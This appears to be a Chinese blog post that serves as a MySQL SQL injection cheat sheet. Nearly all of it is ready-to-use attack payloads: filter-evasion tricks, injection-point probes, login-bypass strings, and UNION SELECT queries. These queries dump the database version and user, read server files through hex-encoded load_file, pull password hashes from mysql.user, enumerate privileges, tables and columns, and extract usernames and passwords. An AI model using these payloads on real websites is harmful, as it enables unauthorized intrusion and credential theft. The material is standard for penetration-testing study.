Mysql 一般注入

一、基础知识 

 1.注释符

 #Hash comment

/* C-style comment

-- - SQL comment  --后必须跟空格

;%00 Nullbyte

` Backtick          ·使用在查询最后

2.空格被过滤

    使用/**/或()或+代替空格

    %0c = form feed, new page

    %09 = horizontal tab

    %0d = carriage return

    %0a = line feed, new line

    %0b = tab


    3. 查询注入点  真查询有效(页面正常返回) 假查询无效(页面返回错误)

      字符串型

    'False

    ''True

    " False

    "" True

    \ False

    \\ Tru

    ')

    数字型

    AND 1True

    AND 0 False

    AND true True

    AND false False

    1-false Returns 1 if vulnerable

    1-true Returns 0 if vulnerable

    1*56 Returns 56 if vulnerable

    1*56 Returns 1 if not vulnerable

    负数和十六进制也能判断

    登录

    ' OR '1

    ' OR 1 -- -

    " OR "" = "

    " OR 1 = 1 -- -

    '='

    LIKE'

    '=0--+

    二、爆字段

    ordery by 数字 (根据返回正确错误猜测字段)

    group by 数字  (根据返回正确错误猜测字段)

    order by 是按字段排序
    group by 是按字段分类


    三、匹配 字段
    and 1=1 union select 1,2,3,4,5 


    四、爆字段位置
    and 1=2 union select 1,2,3,4,5

    可以修改ID=负数, ID=空置 或修改后面逻辑关系 and 1=2  目的是不让返回select结果 

            union:联合的意思,即把两次或多次查询结果合并起来。要求这两个列数必须一致。
    union all和union区别:union 会去除查询结果的重复的数据,UNION all会显示重复的数据。
    由于列可能是特殊数据类型,可以使用null代替,所以推荐使用 union all。

    MySQL大于4.0的版本支持union (all) select联合查询
    例:UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL -- -

    五、利用内置函数爆信息

    版本  version()
         @@version
         @@GLOBAL.VERSION
    例 and 1=2 union all select 1,2,3,version()

    当前用户 user()
    例 and 1=2 union all select 1,2,3,user()

    现在连接数据库 database()
    例 and 1=2 union all select 1,2,3,database()

    加载文件路径需要使用\\ 由于单引号可能被过滤推荐使用十六进制
    load_file('c:\\boot.ini')
    load_file(0x633a5c5c626f6f742e696e)
    例 and 1=2 union all select 1,2,3,load_file(0x633a5c5c626f6f742e696e)

    文件必须在服务器上。
    LOAD_FILE()函数操作文件的当前目录是@@datadir 。
    MySQL用户必须拥有对此文件读取的权限。
    魔术引号关闭。
    文件大小必须小于 max_allowed_packet。
    @@max_allowed_packet的默认大小是1047552 字节.

    mysql 账户和密码
    user from mysql.user
    password from mysql.user
    例 and 1=2 union all select 1,2,3,password from mysql.user

    MYSQL的data目录
    @@datadir 

    MYSQL安装目录
    @@basedir 

    日志文件路径
    @@general_log_file 

    数据库端口
    @@port 

    后48位为服务器MAC

    UUID() 

    操作系统

    @@global.version_compile_os 


    六、查询合并

    使用concat() 合并

    concat()函数可以多个结果合并一个concat(user(),‘|’,@@version,’|‘,database()),其中 |  可以用0x7c表示
    例 and 1=2 union all select 1,concat(user(),0x7c,@@version,0x7c,database()),3 -- -

    concat_ws()函数也可以做到


    七、查看权限

    and 1=2 union all select  1,null,group_concat(distinct grantee,0x7c,privilege_type,0x7c,is_grantable) FROM information_schema.user_privileges  -- -

    返回正确权限很高

    and (select count(*) from MySQL.user)>0 -- -


    八、读取表名

    读取所有表名

    select group_concat(schema_name) FROM information_schema.schemata

    读取当前库表名

    group_concat(table_name) FROM information_schema.tables WHERE table_schema =database() 


    九、读取列名

    Select group_concat(column_name) FROM information_schema.columns WHERE table_schema=0x库十六进制 and table_name=0x表的十六进制


    十、查询指定值

    Select group_concat(列名1,0x7c,列名2) FROM 数据库名.表名


    问题:

    编码不一致可以用时hex

    unhex(hex(user()))

    例 and 1=2 UNION all SELECT 1,2, (select unhex(hex(group_concat(id,0x7c,username,0x7c,password))) from security.users) -- -

    • 0
      点赞
    • 0
      收藏
      觉得还不错? 一键收藏
    • 0
      评论
    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包
    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值